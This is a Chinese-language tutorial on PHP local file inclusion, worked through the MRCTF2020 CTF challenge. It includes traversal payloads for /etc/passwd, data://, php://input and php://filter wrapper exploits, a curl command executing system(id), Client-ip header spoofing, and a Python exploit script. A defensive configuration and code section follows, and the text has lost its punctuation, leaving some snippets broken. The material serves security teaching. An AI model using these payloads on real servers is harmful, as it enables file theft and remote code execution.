PHP本地文件包含漏洞深度解析从伪协议利用到SSRF实战1. 漏洞原理与基础环境搭建PHP本地文件包含Local File InclusionLFI漏洞通常出现在使用include、require等函数时未对用户输入进行严格过滤的场景。当攻击者能够控制文件路径参数时可以读取服务器上的敏感文件或执行任意代码。典型漏洞代码示例?php $file $_GET[file]; include($file); ?要搭建测试环境可以使用以下Docker配置docker run -d -p 8080:80 -v $(pwd):/var/www/html php:7.4-apache基础利用方式对比表利用方式示例Payload适用条件目录遍历?file../../etc/passwd无路径限制空字节截断?file../../etc/passwd%00PHP5.3.4日志注入?file/var/log/apache2/access.log需可读日志文件2. PHP伪协议深度利用2.1 data://协议实战data://协议允许直接在URL中嵌入数据是绕过文件上传限制的利器# 基础用法 ?filedata://text/plain,?php phpinfo();? # 带Base64编码 ?filedata://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8实际CTF案例 在BUUCTF的[MRCTF2020]套娃题目中需要通过data://协议满足特定内容检测/secrettw.php?2333data:text/plain,todat is a happy day2.2 php://input流控制php://input可以读取原始POST数据配合文件包含可实现代码执行curl -X POST http://target.com/?filephp://input -d ?php system(id);?关键限制与绕过需要allow_url_includeOn当allow_url_fopenOff时可能失效可通过.htaccess修改配置需目录可写2.3 php://filter的高级应用filter协议最常用于文件读取特别是获取源码# 读取PHP文件源码 ?filephp://filter/readconvert.base64-encode/resourceconfig.php # 多级过滤器链 ?filephp://filter/convert.quoted-printable-encode|convert.base64-decode/resourceflag.php编码转换技巧# Base64编码计算工具 import base64 print(base64.b64encode(bflag.php)) # 输出ZmxhZy5waHA3. SSRF与请求头伪造技术3.1 Client-ip头伪造实战当PHP应用使用非标准方式获取客户端IP时可能被请求头伪造绕过// 不安全的IP获取方式 function getIp() { return $_SERVER[HTTP_CLIENT_IP] ?? $_SERVER[REMOTE_ADDR]; }利用方式curl -H Client-ip: 127.0.0.1 http://target.com/vulnerable.php3.2 完整SSRF利用链构造结合文件包含与SSRF的典型攻击流程伪造Client-ip头绕过IP限制使用data://或php://input提供所需内容通过filter协议读取执行结果自动化利用脚本import requests target http://example.com/vulnerable.php payload { 2333: data://text/plain,todat is a happy day, file: ZmpdYSZmXGI # flag.php经过特定编码后的值 } headers {Client-ip: 127.0.0.1} response requests.get(target, paramspayload, headersheaders) print(response.text)4. 防御方案与最佳实践4.1 安全配置建议php.ini关键配置allow_url_fopen Off allow_url_include Off open_basedir /var/www/html4.2 代码层防护安全的文件包含实现$allowed [header.php, footer.php]; $file $_GET[file]; if(in_array($file, $allowed)) { include(__DIR__ . /templates/ . $file); } else { die(Invalid file requested); }输入验证函数function safe_include($path) { $real_base realpath(__DIR__); $real_path realpath(__DIR__./.$path); if($real_path false || strpos($real_path, $real_base) ! 0) { return false; } return include($real_path); }5. 实战案例深度分析通过分析MRCTF2020题目我们发现完整的利用链需要组合多种技术使用换行符绕过正则检测%0a发现隐藏入口点secrettw.php逆向自定义编码函数function change($v) { $v base64_decode($v); $re ; for($i0; $istrlen($v); $i) { $re . chr(ord($v[$i]) $i*2); } return $re; }构造最终Payload/secrettw.php?2333data:text/plain,todat is a happy dayfileZmpdYSZmXGI在真实渗透测试中这类漏洞往往需要结合服务器配置缺陷和应用程序逻辑错误才能实现完整利用。建议开发者在代码审查时特别注意所有文件操作函数的参数处理并建立完善的输入验证机制。